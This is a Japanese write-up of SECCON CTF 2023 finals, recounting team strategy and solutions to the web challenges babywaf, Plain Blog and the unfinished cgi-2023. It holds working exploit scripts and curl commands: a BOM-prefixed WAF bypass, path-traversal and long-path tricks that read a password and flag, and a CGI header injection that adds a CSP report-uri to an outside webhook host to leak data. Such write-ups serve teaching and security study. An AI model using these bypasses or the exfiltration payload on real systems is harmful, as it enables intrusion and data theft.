12/23 - 12/24という日程で、オンサイト形式@浅草橋で開催された。12/23の11時開始で12/24の17時終了ということで30時間の競技だった。昨年度大会に引き続きkeymoonさんとのふたりチームであるCyberMidori*1*2で参加し、準優勝した🥈
順位は終始なかなかいい感じに推移しており*3、また最終的に2位でフィニッシュできたのは嬉しいものの、チーム:( *4に連覇を阻まれてしまったというのもあり悔しい気持ちもある。2, 3問は解かなければ勝てない点差をつけられていたので完敗だ。今回も問題のクオリティが(難易度も)高く、とても楽しめたのでよし。
リンク:
- 大会やチームについて
- 競技時間中に解いた問題
大会やチームについて
ルール
その詳細についてはここでは述べない(詳しくは前回大会のwriteupなどを参照されたい)が、SECCON CTFの決勝大会は例年King of the Hill(KotH)というルールのみか、それとJeopardyとを両方出題するという形式になっていた。しかしながら、今年度大会はJeopardyのみの出題という構成になっていた。カテゴリの構成もWeb, Crypto, Reversing, Pwn, Miscという一般的なものであった。特に前回大会のような形式のKotHは、誰かしらがその問題に張り付かなければならないということで人数の少ない我々にとってはつらい。今回はのびのびとJeopardyの問題を解くことができたので、少なくとも我々にとってはこの変更はプラスに働いたと思う。
昨年度大会はJeopardyとKotHの両方が出ていたけれども、KotHが2問出題された2日目はふたりとも一日中KotHの問題を解いており、Jeopardyになかなか手を出すことができなかった。その際のwriteupでも言及していたが、ポイントは勝者総取りではなく各ラウンドの終了時に何らかのスコアに基づいて分配されるというルールであり、かつラウンドの間隔が短い。したがって、得意な分野ではないから微妙な順位しか取れず微妙なポイントしか得られないだろうと確信していたとしても、塵も積もれば山となるということで、やらなければ参加していたチームと大きな点差が開きかねない。「得点する」ためというよりは「失点しない」ために解いていると感じられてしまい、ややつらかった。問題の内容は面白くても、つらかった。KotHへの恨み節はこのくらいにしておく。
CTFの開始と同時に全問題が公開され、30時間ずっと同じ問題セットに挑戦し続けていた。スコアサーバや問題サーバが開いていたり、会場にいられたりするのは日中*5の8時間程度だったけれども、問題に関連するファイルを家やホテルに持ち帰れば、そのまま続きを遊べるようにもなっていた。徹夜もしたければできる*6。
前回大会のJeopardyではStatic Scoringということで、各問題に運営の主観で決められたポイントが割り振られており、解いたチームが多くても少なくてもポイントは変化しないという方式が採用されていた。今回はJeopardyのみであるからか、Dynamic Scoringとよばれる、解いたチームの数に応じて各問題を解くことで得られるポイントが変化していく方式が採用されていた。解いたチームが多ければポイントは少ないし、少しのチームしか解いていなければ、得られるポイントは多くなる。
可視化システム
参加者以外でも競技の状況を把握できるよう可視化するシステムが一新されており、次のツイートのような形で、現在のランキングや各チームがどのカテゴリでどれほど解いているかが確認できるようになっていた。この動画でもその様子が見られるけれども、問題が解かれるとどのチームが解いたかが表示されるようになっている。また、たまにkurenaifさんがサムズアップしてくれる。してくれないときもある。競技終盤ではいつ抜かされるかとビクビクしていたので、正解音を聞くと緊張して、それが国際大会側の通知であることを確認すると安心し、そうでなければどこが何を解いたかを確認するという様子だった。
SECCON CTFの可視化は去年まで担当してくれていたNICTが卒業してしまったので自分が一人で作りました。適当に作った割には評判よくて嬉しい。kurenaifさんにも素材協力してもらっていて見た目が楽しいです#seccon pic.twitter.com/D1H9eRTefN
— れっくす (@xrekkusu) 2023年12月24日
なお、このシステムのほかにもスコアサーバでも(いちいちページをたどる必要があるが)各チームの正答状況やランキングを確認できたし、Discordでも国内・国際かかわらず(つまり、自分の出場している部門とは異なる方の正答であっても)どのチームの誰が、いつ、どの問題を解いたかという状況が投稿されていた。これだけの素早さで解ける問題なのだなとか、この人が得意そうな問題なのだなといった細かな推測に使えるわけだ。あとDiscordでは👏、first bloodであれば🥇といったリアクションもついて楽しい。
やっていたこと・やってよかったこと
今回はKotHがなかったので、我々は前回のwriteupのように長々と書けるようなことは特にしていない。keymoonさんがCrypto, Pwn, Miscなど、私がWeb, あとWebっぽいMiscが1問あったのでそれを担当していた。
上述のようにReversingも主なカテゴリとして存在していたが、注力しないという方針だった。注力しないというよりも、リソースが足りず注力しようにもできなかったという方が正しいかもしれない。Reversingは、SECCONでは時間をかけさえすれば解けるであろう問題が出る傾向にあると認識している。裏返すと、時間をかけなければ解けない。我々はふたりとも得意分野だと言えるほどReversingに長けているわけではないので、相対的にリソースの多い他チームに勝つためには、自分たちがより得意だと考える分野に時間を投下して、より少ない努力でより多いポイントを得られる可能性に賭けたかった。
以降は個人的にやっていたこと、やってよかったことについて。もっとも重要なのは睡眠で、昨年度は1日目に自宅に帰った後も諦めずほぼ朝まで問題に挑戦していたため、3時間程度しか睡眠を取っておらず、2日目は眠気に襲われつつKotHに挑むことになってしまっていた。今年度は6時間程度*7寝て、問題をちゃんと解ける程度には集中力を維持できていたと思う。
ICC 2023の直前に安物ではあるがモバイルモニタを購入*8しており、それを会場に持ち込んで使用していた。自宅では基本的にデュアルディスプレイで作業をしているので、またCTFでは特に開くウィンドウが多いので、これが非常に役立った。昨年のwriteupで後悔のひとつとして挙げていたが、やはり持ち込んでよかったと思う。
競技時間中に解いた問題
[Web 276] babywaf (4 solves)
Do you want a flag? 🚩🚩🚩
(問題サーバのURL)
添付ファイル: babywaf.tar.gz
author: Ark
docker-compose.yml
は次のとおり。proxy
と backend
がおり、フラグを持っているのは後者だ。
services: proxy: build: ./proxy restart: unless-stopped ports: - 3000:3000 backend: build: ./backend restart: unless-stopped environment: - FLAG=SECCON{dummy}
backend
の方から見ていく。req.body
に givemeflag
というキーが存在しているかを確認しており、もしあればフラグが得られる。{"givemeflag":123}
のようなJSONを投げればよいはずだ。
const express = require("express"); const fs = require("fs/promises"); const app = express(); const PORT = 3000; const FLAG = process.env.FLAG ?? console.log("No flag") ?? process.exit(1); app.use(express.json()); app.post("/", async (req, res) => { if ("givemeflag" in req.body) { res.send(FLAG); } else { res.status(400).send("🤔"); } }); app.get("/", async (_req, res) => { const html = await fs.readFile("index.html"); res.type("html").send(html); }); app.listen(PORT);
proxy
は次のようなコードで、プロキシとして backend
との橋渡しをしてくれるのだけれども、JSONに givemeflag
が含まれるとブロックするというWAFっぽい機能がある。困る。また、こちらはExpressではなくFastifyで書かれている。
const app = require("fastify")(); const PORT = 3000; app.register(require("@fastify/http-proxy"), { upstream: "http://backend:3000", preValidation: async (req, reply) => { // WAF??? try { const body = typeof req.body === "object" ? req.body : JSON.parse(req.body); if ("givemeflag" in body) { reply.send("🚩"); } } catch {} }, replyOptions: { rewriteRequestHeaders: (_req, headers) => { headers["content-type"] = "application/json"; return headers; }, }, }); app.listen({ port: PORT, host: "0.0.0.0" });
この「WAF」が何をしているか細かく見ていく。req.body
がオブジェクトであればそれについて、オブジェクトでなければ JSON.parse
でJSONとしてパースしたオブジェクトについて、givemeflag
というキーが含まれていないかを確認している。なぜわざわざそのようなことをするのか。Fastifyは Content-Type
に基づいて自動でリクエストボディをパースして req.body
に格納してくれるのだけれども、application/json
を与えるとJSONとしてパースしてくれるし、text/plain
を与えると生のままとなる。わざわざ JSON.parse
している処理は、text/plain
が与えられた場合を想定しているのだろう。
なぜかtry-catchの中でこの処理を行っていることから、text/plain
で怪しいJSONを与えて JSON.parse
を失敗させればよいのではないかと思う。rewriteRequestHeaders
で Content-Type
を application/json
に変えた上で backend
に渡しているのもまた怪しい。JSON.parse
はパースに失敗するけれども、backend
のExpressが使用するJSONパーサではパースに成功してくれるような魔法のJSONはないだろうか。
backend
のコードでは app.use(express.json());
と express.json
が使われているが、これは body-parser
の lib/types/json.js
に実装がある。最終的に JSON.parse
が呼ばれはするものの、何やら Content-Type
から application/json; charset=utf-8
の後半部分のような文字コードを抽出しており、その文字コードに基づいて iconv.decode
でデコードされる。
この iconv
は iconv-lite
というパッケージだ。このパッケージはBOMを外す処理を実装しており、かつ stripBOM
というBOMを外すかどうかのオプションがあるけれども、これはデフォルトで有効化されている。したがって、次のようにリクエストボディの頭にBOMがある場合は、それが消されるということになる。
> var iconv = require('iconv-lite') undefined > iconv.decode([239, 187, 191, 104, 111, 103, 101], 'utf-8') 'hoge' > iconv.decode([239, 187, 191, 104, 111, 103, 101], 'utf-8').charCodeAt(0) 104 > iconv.decode([239, 187, 191, 104, 111, 103, 101], 'utf-8').length 4
JSON.parse
はBOMが付いていた場合にどのような処理をするか。投げてみると、なんとエラーを吐いた。これを使えば、JSON.parse
はJSONのパースに失敗するものの、Express側では成功するという状況が作り出せる。
> JSON.parse('\ufeff{}') Uncaught SyntaxError: Unexpected token '', "{}" is not valid JSON
次のようなスクリプトを実行するとフラグが得られた。
import requests data = '\ufeff{"givemeflag":123}'.encode('utf-8') r = requests.post('http://babywaf.dom.seccon.games:3000', headers={ 'Content-Type': 'text/plain; charset=utf-8', 'Content-Length': str(len(data)) }, data=data) print(r.text)
SECCON{**MAY**_in_rfc8259_8.1}
競技開始から30分ぐらいで解けた。CyberMidoriが国内・国際通してのfirst bloodだった。実は競技中は backend
がExpressであることに気づいておらず、ずっとどちらもFastifyだと思っており、アフターパーティー中でArkさんに指摘されて知った。Fastifyは secure-json-parse
というライブラリをJSONのパースに使っており、このライブラリにもBOMをスキップする処理があることに気づいて解けたという流れだった。ラッキーで解いている。
[Web 276] Plain Blog (4 solves)
No password for you!
(問題サーバのURL)
添付ファイル: plain-blog.tar.gz
author: Satoooon
与えられたURLにアクセスすると、次のように表示される。プレーンテキストだ。
/?page=membership
にアクセスすると、次のようなテキストが表示される。プレミアムメンバーになると /premium
が使えるようになってもっといい感じにページが読めるようになるらしく、またその利用にはパスワードを使うらしい。
Premium members of PlainBlog can enhance their page viewing experience. To become a premium member, please fill your password and access the following URL. /premium?password=[[PASSWORD]]&page=index
ソースコードは次の通り。/
と /premium
という2つのパスが存在している。先程言及した /premium
を利用するためのパスワードは password.txt
に格納されているようだ。/premium
では最初にパスワードのチェックがされており、まず /
に存在するであろう脆弱性を使ってそのパスワードを手に入れる必要があるのだろうと推測する。
/
の処理を見ていく。page/(クエリパラメータのpageの値).txt
を読んでいるだけのシンプルな処理だが、いくつかチェックがある。os.path.join
で読み込むファイルのパスを組み立てているので、それでPath Traversalが起きうることを考慮してか、絶対パスでないか(たとえば、/password
を入力すると、join
した返り値は /password.txt
になってしまう)、ちゃんと page/
下にいるか(../
で上のディレクトリに移動していないかを見ているのだろう)をチェックしている。
チェックを通ると os.path.normpath
でわざわざパスの正規化をした上で、そのファイルを読んでいる。なぜチェックの後にまた加工をしているのか、TOCTOUが起こるのではないかと不思議に思う。また、ファイルを読んだ後にわざわざ contains_word(path, PASSWORD)
と読んだファイルにパスワードが含まれていないかチェックされており、もしあればパスワードを取らないでくれと怒られる。
from flask import Flask, request, Response, render_template_string import re from util import * app = Flask(__name__) PASSWORD = read_file('password.txt') PAGE_DIR = 'page' def get_params(request): params = {} params.update(request.args) params.update(request.form) return params @app.route('/', methods=['GET', 'POST']) def index(): page = get_params(request).get('page', 'index') path = os.path.join(PAGE_DIR, page) + '.txt' if os.path.isabs(path) or not within_directory(path, PAGE_DIR): return 'Invalid path' path = os.path.normpath(path) text = read_file(path) text = re.sub(r'SECCON\{.*?\}', '[[FLAG]]', text) if contains_word(path, PASSWORD): return 'Do not leak my password!' return Response(text, mimetype='text/plain') @app.route('/premium', methods=['GET', 'POST']) def premium(): password = get_params(request).get('password') if password != PASSWORD: return 'Invalid password' page = get_params(request).get('page', 'index') path = os.path.abspath(os.path.join(PAGE_DIR, page) + '.txt') if contains_word(path, 'SECCON'): return 'Do not leak flag!' path = os.path.realpath(path) content = read_file(path) return render_template_string(read_file('premium.html'), path=path, content=content) if __name__ == '__main__': app.run(host='0.0.0.0', port=80)
ところで、within_directory
と contains_word
は util.py
で定義されている独自の関数だ。これらの処理は次のとおり。まず within_directory
だけれども、resolve_dots
という自前の処理でわざわざパスの正規化を試みている。その結果について、与えられたパスから始まっていないか startswith
で判定するという素朴な処理になっている。これは怪しい。
contains_word
については、os.path.exists
でそのファイルが存在しているか、またファイルの中身に指定した文字列が含まれているかを確認し、そのいずれも成り立っていれば True
だ。
import os def resolve_dots(path): parts = path.split('/') results = [] for part in parts: if part == '.': continue elif part == '..' and len(results) > 0 and results[-1] != '..': results.pop() continue results.append(part) return '/'.join(results) def within_directory(path, directory): path = resolve_dots(path) return path.startswith(directory + '/') def read_file(path): with open(os.path.abspath(path), 'r') as f: return f.read() def contains_word(path, word): return os.path.exists(path) and word in read_file(path)
within_directoryを突破する
まずは最初のこれを突破したい。
path = os.path.join(PAGE_DIR, page) + '.txt' if os.path.isabs(path) or not within_directory(path, PAGE_DIR): return 'Invalid path'
within_directory
では resolve_dots
という独自のパスの正規化処理が走っていると言ったけれども、それに脆弱性がないかを探す。つまり、本当はPath Traversalが発生しているにもかかわらず、page/
下にいると判定させることはできないか。改めて within_directory
の実装を見る。/
で区切って、各パーツについて .
や ..
のような特殊なものでないかをチェックしている。
ところで、hoge//fuga
のように /
を連続で使うとどうなるだろうか。その場合はまず parts
は ['hoge','','fuga']
という空文字列が入っている配列になる。if part == '.'
を見るとわかるように hoge/./fuga
のようにパーツとして .
が入るケースは想定されているようだけれども、空文字列については考慮されていない。したがって、results.append(part)
まで進み、空文字列が results
に追加される。
def resolve_dots(path): parts = path.split('/') results = [] for part in parts: if part == '.': continue elif part == '..' and len(results) > 0 and results[-1] != '..': results.pop() continue results.append(part) return '/'.join(results)
aa//../bb.txt
ならどうなるか。本来は aa/../bb.txt
と同様にカレントディレクトリの bb.txt
を返すべきであるところ、aa/bb.txt
が返ってきてしまっている。
>>> resolve_dots('aa/../bb.txt') 'bb.txt' >>> resolve_dots('aa//../bb.txt') 'aa/bb.txt'
これを利用して、次のように怪しい結果を resolve_dots
に返させることができる。引数として与えたパスは明らかに ./password.txt
を指すけれども、返り値は page/page/password.txt
となっている。resolve_dots
の返り値は within_directory
の中でしか使われておらず、within_directory
から戻った後の処理では元の path
がそのまま以降のファイルの読み込み処理に使われることから、これでバイパスができる。
>>> resolve_dots('page/page///../../password.txt') 'page/page/password.txt'
/?page=page///../../password
にアクセスすると、Do not leak my password!
と表示された。確かにバイパスできているらしい。
contains_wordをバイパスする その1
さて、次はどうやってこの contains_word(path, PASSWORD)
をバイパスするかだ。先程もちらっと見たように、contains_word
でも read_file
が呼び出されているが、この点がまず気になる。なぜこの場で PASSWORD in text
のようにしてチェックしないのか。
text = read_file(path) text = re.sub(r'SECCON\{.*?\}', '[[FLAG]]', text) if contains_word(path, PASSWORD): return 'Do not leak my password!'
contains_word
を見ていく。なぜ os.path.exists(path)
でわざわざそのパスが存在しているかを確認しているのかがとても気になる。もしここで存在していないということにできれば、contains_word
は当然ながら False
を返し、チェックがバイパスできるということになる。けれども、contains_word
が呼び出される前の read_file(path)
には成功してほしい。一見矛盾している。
def contains_word(path, word): return os.path.exists(path) and word in read_file(path)
read_file
の実装を見る。なぜか os.path.abspath
を通した上でそのファイルを読んでいる。
def read_file(path): with open(os.path.abspath(path), 'r') as f: return f.read()
つまり、path = os.path.normpath(path)
の後の処理において、次のように read_file
で open
に渡るのは abspath
を通したパスであり、contains_word
で os.path.exists
に渡るのはそのままのパスであるという違いがある。その差異を使えないだろうか。
read_file
:open(os.path.abspath(path)).read()
contains_word
:os.path.exists(path)
適当に色々試していると、次のようにとんでもなく長いパスを os.path.exists
に投げると、一定の長さを超えると急に False
を返しだすことがわかった。
>>> os.path.exists('../' * 1000) True >>> os.path.exists('../' * 10000) False
このまま open
に渡されてもファイル名が長すぎると怒られるわけだけれども、先程も言ったように、read_file
において open
には os.path.abspath
を通した結果が渡される。os.path.abspath
は絶対パスに変換してくれるので、ちゃんと短い、普通のパスを返してくれる。
>>> open('../' * 10000 + 'etc/passwd').read() Traceback (most recent call last): File "<stdin>", line 1, in <module> OSError: [Errno 36] File name too long: '…' >>> os.path.abspath('../' * 10000 + 'etc/passwd') '/etc/passwd'
この差異を利用すればよい…と思いきや、../
を十分な回数繰り返したパスをクエリパラメータから指定すると、次のようにリクエスト行が長すぎるとBad Requestが出てしまった。
main.py
は page = get_params(request).get('page', 'index')
と get_params
という関数を使ってパラメータを取得している。この実装は次の通りで、ありがたいことにクエリパラメータだけでなく request.form
も参照している。それならめちゃくちゃ長いパスを送っても許される。
def get_params(request): params = {} params.update(request.args) params.update(request.form) return params
これで /premium
を利用するためのパスワードが得られた。
$ curl http://plain-blog.dom.seccon.games:3000/ -F "page=$(python3 -c 'print("page/"+"/"*1999+"../"*2000+" app/password")')" PASSWORD_1daf3acb1033d8924952f0e854dc5871d723a36cb56e711b274c743900b31287
contains_wordをバイパスする その2
次は /premium
の処理を見ていく。/
と似たような流れ、似たようなチェックで今度は SECCON
がファイルに含まれていないかを見ているが、一部が異なる。contains_word
は os.path.exists
にとても長いパスを渡してバイパスしたいが、先に os.path.abspath
が走るようになってしまっている。これでは ../
を大量にくっつけたパスを送っても、絶対パスに変換されて ../
が消されてしまう。
contains_word
の処理の後に os.path.realpath
でまたパスの正規化を行い、その内容を読んでいる。os.path.realpath
のドキュメントを読むと、どうやらこいつはシンボリックリンクを解決してくれるようだ。
@app.route('/premium', methods=['GET', 'POST']) def premium(): password = get_params(request).get('password') if password != PASSWORD: return 'Invalid password' page = get_params(request).get('page', 'index') path = os.path.abspath(os.path.join(PAGE_DIR, page) + '.txt') if contains_word(path, 'SECCON'): return 'Do not leak flag!' path = os.path.realpath(path) content = read_file(path) return render_template_string(read_file('premium.html'), path=path, content=content)
シンボリックリンクを解決する前は os.path.exists
が失敗する程度に長く、解決した後は open
が成功する程度に短いような絶対パスを作れないか。
まず思いついたのはprocfsの /proc/self/cwd
でカレントディレクトリにアクセスすることだったけれども、現在のカレントディレクトリは /app
であり、その下にはシンボリックリンクがないので詰む。../
を仕込んだとしても、abspath
に消されてしまう。
次に /proc/self/root
でルートディレクトリへアクセスすることを思いついた。これなら /proc/self/root/proc/self/root/…
とずっと繰り返すことができるし、また realpath
は次のようにいい感じに短いパスを返してくれる。
>>> os.path.realpath('/proc/self/root/' * 1000 + 'etc/passwd') '/etc/passwd'
これを利用してフラグが得られた。
$ curl http://plain-blog.dom.seccon.games:3000/premium -F "password=PASSWORD_1daf3acb1033d8924952f0e854dc5871d723a36cb56e711b274c743900b31287" -F "page=$(python3 -c 'print("/proc/self/root/"*2000+"app/flag")')" <!DOCTYPE html> <html> <head> <meta charset="utf-8"> <title>/app/flag.txt</title> </head> <body> <marquee scrollamount="18" behavior="alternate"> <pre>SECCON{play_with_path_mechanics} </pre> </marquee> </body> </html>
SECCON{play_with_path_mechanics}
実は最近(言うほど最近でもないが)zer0pts CTF 2023で同名の問題を出題しており、問題名を見たときニヤッとした。CTFerは問題名にplain, simple, baby, warmupといった単語を使いがちだし、Webではそれにblog, note, share, bin*9といった単語がくっつきがち。被るのも不思議ではない。
[Web 388] cgi-2023 (2 solves)
CGI is one of the lost technologies.
Challenge: (問題サーバのURLその1)
Admin bot: (問題サーバのURLその2)添付ファイル: cgi-2023.tar.gz
author: Ark
問題の概要
まず、Admin botが存在していることからXSS問かそれに類するものだろうと考える。docker-compose.yml
は次の通り。
services: web: build: ./web restart: unless-stopped ports: - 3000:3000 bot: build: ./bot restart: unless-stopped ports: - 1337:1337 environment: - FLAG=SECCON{dummy}
bot
のコードは次の通り。Webサーバの動いているドメイン名で FLAG
というCookieをセットして、ユーザから与えられたURLにアクセスするというシンプルな処理だ。/^SECCON{[a-z_]+}$/
という少ない文字種からフラグが構成されているかということ、短いフラグであることが気になる。単純なXSS問であればもっと好きなフラグを設定すればよいだろうから、これはXS-Leaks問で、あえて候補を絞ってフラグを取得しやすくしているのだろうと推測する。
import puppeteer from "puppeteer"; const FLAG = process.env.FLAG ?? console.log("No flag") ?? process.exit(1); const APP_HOST = "web"; const APP_PORT = "3000"; export const APP_URL = `http://${APP_HOST}:${APP_PORT}`; if (!/^SECCON{[a-z_]+}$/.test(FLAG) || FLAG.length > 18) { console.log("Bad flag"); process.exit(1); } const sleep = async (msec) => new Promise((resolve) => setTimeout(resolve, msec)); export const visit = async (url) => { console.log(`start: ${url}`); const browser = await puppeteer.launch({ headless: "new", executablePath: "/usr/bin/google-chrome-stable", args: [ "--no-sandbox", "--disable-dev-shm-usage", "--disable-gpu", '--js-flags="--noexpose_wasm"', ], }); const context = await browser.createIncognitoBrowserContext(); try { const page = await context.newPage(); await page.setCookie({ name: "FLAG", value: FLAG, domain: APP_HOST, path: "/", }); await page.goto(url, { timeout: 3 * 1000 }); await sleep(60 * 1000); await page.close(); } catch (e) { console.error(e); } await context.close(); await browser.close(); console.log(`end: ${url}`); };
web
を見ていく。ctf.conf
というApache HTTP Server用の設定ファイルがあり、これは次のようにCGIの設定をしているほか、常に default-src 'none'
という凶悪なCSPが設定されるようにしている。つまり、画像だろうかスクリプトだろうが、どんなほかのリソースも読み込みが許されない。
LoadModule cgid_module modules/mod_cgid.so ServerName main Listen 3000 ScriptAliasMatch / /usr/local/apache2/cgi-bin/index.cgi AddHandler cgi-script .cgi CGIDScriptTimeout 1 Header always set Content-Security-Policy "default-src 'none';"
メインとなる index.cgi
にはバイナリがコピーされてくるわけだけれども、そのソースコードは次の通り。大変シンプルだ。FLAG
というCookieがセットされていれば、それを出力している。セットされていなければ Hello gophers👋
だ。
package main import ( "fmt" "net/http" "net/http/cgi" "strings" ) func main() { http.HandleFunc("/", func(w http.ResponseWriter, r *http.Request) { if q := r.URL.Query().Get("q"); q != "" && !strings.Contains(strings.ToLower(q), "status") { fmt.Print(q) } flag, err := r.Cookie("FLAG") if err != nil { fmt.Fprint(w, "Hello gophers👋") } else { fmt.Fprint(w, flag.Value) } }) cgi.Serve(nil) }
メッセージは fmt.Fprint(w, "Hello gophers👋")
のように http.ResponseWriter
の w
に fmt.Fprint
で書き込んでいるのだけれども、その前に q
というクエリパラメータが存在していれば、その値を fmt.Print(q)
で出力していることに着目する。w
に書き込む書き込まないでどんな違いが生まれるか。ヘッダインジェクションだ。CGIっぽい。
$ curl -i "localhost:3000?q=hoge:fuga%0d%0apiyo" HTTP/1.1 200 OK Date: Mon, 25 Dec 2023 19:24:04 GMT Server: Apache/2.4.58 (Unix) hoge: fuga piyoStatus: 200 OK Content-Security-Policy: default-src 'none'; Transfer-Encoding: chunked Content-Type: text/plain; charset=utf-8 Hello gophers👋
次のように(Golangが出力してくれる) Status
と Content-Type
をレスポンスボディとすることもできるけれども、一番潰したいCSPヘッダはGolangではなくApacheが出力しているものなので困る。
$ curl -i "localhost:3000?q=hoge:fuga%0d%0a%0d%0a" HTTP/1.1 200 OK Date: Mon, 25 Dec 2023 19:29:35 GMT Server: Apache/2.4.58 (Unix) hoge: fuga Content-Security-Policy: default-src 'none'; Transfer-Encoding: chunked Status: 200 OK Content-Type: text/plain; charset=utf-8 Hello gophers👋
Content-Type
を指定することももちろんできる。これでHTMLとして表示させることもできるわけだが、やはりCSPのためにできることがかなり限られる。
$ curl -i "localhost:3000?q=Content-Type:text/html%0d%0a%0d%0a<s>" HTTP/1.1 200 OK Date: Mon, 25 Dec 2023 19:45:40 GMT Server: Apache/2.4.58 (Unix) Content-Security-Policy: default-src 'none'; Transfer-Encoding: chunked Content-Type: text/html <s>Status: 200 OK Content-Type: text/plain; charset=utf-8 Hello gophers👋
試行していたこと
色々考えて試しつつも失敗していたことを書いておく。答えだけ見たい方は次の見出しまでスキップのこと。
!strings.Contains(strings.ToLower(q), "status")
と、ヘッダインジェクションのための q
に Status
が存在していないか確認している。そもそも Status
とは何かと調べたところ、これはCGIのもので、返すステータスコードを指定できるらしかった。ほかにCGIならではのヘッダがないか確認したものの、仕様上は面白いものはなさそうだった。Apache側ではどうかと mod_cgid.c
等を確認したもの、やはりダメ。
なぜステータスコードの変更を弾いているのか、作為を感じて有用なステータスコードがないか調べたものの、特に気になるものはなかった。
CSPヘッダを複数送信できないかと考えたけれども、そもそもできたところで両方が同時に適用されるし…と思う。そもそも、次のように Content-Security-Policy
ヘッダを仕込んでもApacheに書き換えられてしまう。
$ curl -i "localhost:3000?q=Content-Security-Policy:fuga%0d%0a%0d%0a" HTTP/1.1 200 OK Date: Mon, 25 Dec 2023 19:44:33 GMT Server: Apache/2.4.58 (Unix) Content-Security-Policy: default-src 'none'; Transfer-Encoding: chunked Status: 200 OK Content-Type: text/plain; charset=utf-8 Hello gophers👋
default-src 'none'
というCSPが適用されていたとしても、meta
要素を使ったリダイレクトは許容される。これを使ってDangling Markup Injectionの要領で、<meta http-equiv=refresh content="1;https://example.com?
のようなHTMLを仕込むことを考えた。しかしながら、そもそもインジェクション可能な箇所以降でどこにも >
が含まれないので開始タグとして正しくない。
Location
ヘッダを仕込むと、Apacheは次のようにステータスコードも302に変えてくれる。
$ curl -i "localhost:3000?q=Location:hoge%0d%0a" HTTP/1.1 302 Found Date: Mon, 25 Dec 2023 19:51:18 GMT Server: Apache/2.4.58 (Unix) Content-Security-Policy: default-src 'none'; Location: hoge Content-Length: 188 Content-Type: text/html; charset=iso-8859-1 <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1> <p>The document has moved <a href="hoge">here</a>.</p> </body></html>
これを利用できるのではないかと考えた。HTTP/1.1ではLinear White Space(LWS)というものがあり、これを使うと次の行の出力をリークさせられる、あるいは無効化できるのではないかと思った。まず、検証のために次のようなPHPコードを用意する。
$ cat index.php <?php header("Location: /hoge?"); header(" fuga"); $ php -S localhost:8000
Chromeでこれにアクセスすると GET /hoge?%20fuga
へのアクセスが発生しており、たしかにLWSで次の行が巻き込めていた。しかしながら、問題のCGIスクリプトで /?q=Location:hoge%0d%0a%20
にアクセスするとInternal Server Errorが返ってきてしまう。ログを見ると "429: Response header name ' Status' contains invalid characters, aborting request" と怒られていた。また、そもそもインジェクション箇所の次の行に来るのは Status
ヘッダというどうでもいい情報なのだった。
別のDOMLeakifyという問題もまたXS-Leaksっぽく、そこからの流れで Content-Type
に x-mixed-replace
を仕込むCSPバイパステクを思い出す。しかしながら、これに対応しているのはFirefoxのみで、今回botが使用しているのはGoogle Chromeだ。Google Chromeはサポートをやめている。
Content-Type
が変更できるということで、UTF-16など別の文字コードで出力させるのはどうかと考えた。/?q=Content-Type:text/html%3b%20charset=utf-16%0d%0a%0d%0ab
で確かに次のように変更はできる。できるものの、たとえばフラグは 7b
で終わるわけだが、これが >
として解釈されるような文字コードがないかな、何かしらのリークができないかなというように色々考えたものの、当然ながらダメだった。
Set-Cookie
ももちろん設定できる。Chromeは Path
属性で同じ名前のCookieが複数ある場合に、次のような形でCookieを送信する。
Cookie: FLAG=abc; FLAG=SECCON{DUMMY}
最近Cookieのパース処理の差異で、Cookieの内容をリークする問題のwriteupを読んだことを思い出す。記事中のコードをそのまま以下に載せるが、次のようにCookieの値に中途半端な形で "
が含まれる場合にサーバ側でどう解釈されるという話だ。この場合は Cookie: a="mizu; aa=mizu"
というようにヘッダが送信されるけれども、ここで a
, aa
というふたつのCookieがあると解釈されるか、それとも "mizu; aa=mizu"
という値を持つ a
というCookieのみがあると解釈されるか。
document.cookie = `a="mizu`; document.cookie = `aa=mizu"`;
そもそもChromeはCookieのセットされた時刻順でソートして送信しているっぽいし、Golang側も最初に ;
で区切る上に、その各パーツについて "
で始まって "
で終わっている場合に限って "
を削除しているし、それ以外の箇所で "
が出現すると有効なCookieでないとするのだった。
Access-Control-Allow-Origin
や Access-Control-Allow-Credentials
で無理やりにCookieの送信ができないかと考えたけれども、今回はCookieにフラグが含まれており、かつ SameSite
が Lax
相当の挙動をするということで、別のサイトからではCookieが送信されなくて困る。
iframe
要素の csp
属性(Embedded Enforcement)を使えないかとも考える。Editor's Draftを確認しているとAllow-CSP-Fromというヘッダがあることがわかったけれども、結局ApacheによってCSPヘッダが返されてしまうのでダメというところ。
Content-Security-Policy-Report-Only + Content-Length
Content-Length
を仕込むとどうなるかが突然気になった。設定してみると、次のように Content-Length
で指定した分だけ送信されていることがわかる。これを使って、1文字ずつ何かしらの方法でリークさせられないかと考えた。
$ curl -i "http://localhost:3000/?q=Content-Length:1%0d%0a" HTTP/1.1 200 OK Date: Mon, 25 Dec 2023 20:06:28 GMT Server: Apache/2.4.58 (Unix) Content-Security-Policy: default-src 'none'; Content-Length: 1 Content-Type: text/plain; charset=utf-8 H
レスポンスヘッダでレスポンスボディのチェックサムを送れ、ブラウザがそれを検証してもし異なっていればなんらかのエラーを発する、またそれが外から観測できるようだと嬉しいと考えた。Content-Length
で出力させる文字数を調整できるということで、1文字ずつ出力させ、チェックサムをブルートフォースして、それが合っているか合っていないかを観測できれば、1文字ずつフラグが特定できるというわけだ。
ハッシュ値といえばということで、サブリソース完全性(SRI)のことを思い出す。しかしながら、link
要素の integrity
属性は使えそうではあるものの、やはり SameSite
が邪魔をする。SameSite=None
だったとしても、SRIの検証が失敗したかどうかをJSから観測できるかは知らんけれども。
CSPヘッダが複数送信された場合にどれも適用されるということで、Content-Security-Policy-Report-Only
でCSPの違反があった場合に、外部にどんな違反が起こったかの情報を送信させることはできないかと考えた。/?q=Content-Type%3Atext/html%0D%0AContent-Security-Policy-Report-Only:default-src%20'none'%3B%20report-uri%20https://webhook.site/4499fc78-350f-4e4d-b070-4b69bd135e52%0D%0A%0D%0A<style>
のようにして、Content-Security-Policy-Report-Only
を仕込む。レスポンスボディを <style>
で始めさせることで、style
要素の内容としてフラグを含ませつつCSP違反させて、その内容をリークさせられないかを試みる。しかしながら、次のように style
要素の内容は含まれていなかった。
CSPでは style-src
の値として、その内容のハッシュ値を指定することができる。もし一致していればそのまま読み込み、一致していなければCSP違反として読み込まれない。このCSP違反の有無が使えるのではないかと考えた。report-uri
とあわせて使うことで、レスポンスボディのチェックサム云々で考えた1文字ずつのブルートフォースがここで適用できるのではないか。もしハッシュ値が一致していなければCSP違反のレポートが飛ぶし、一致していれば飛ばない。CSP違反のレポートが飛ばなかった文字が正解だ。
具体的な例を挙げて考えていく。SECCON{dummy}
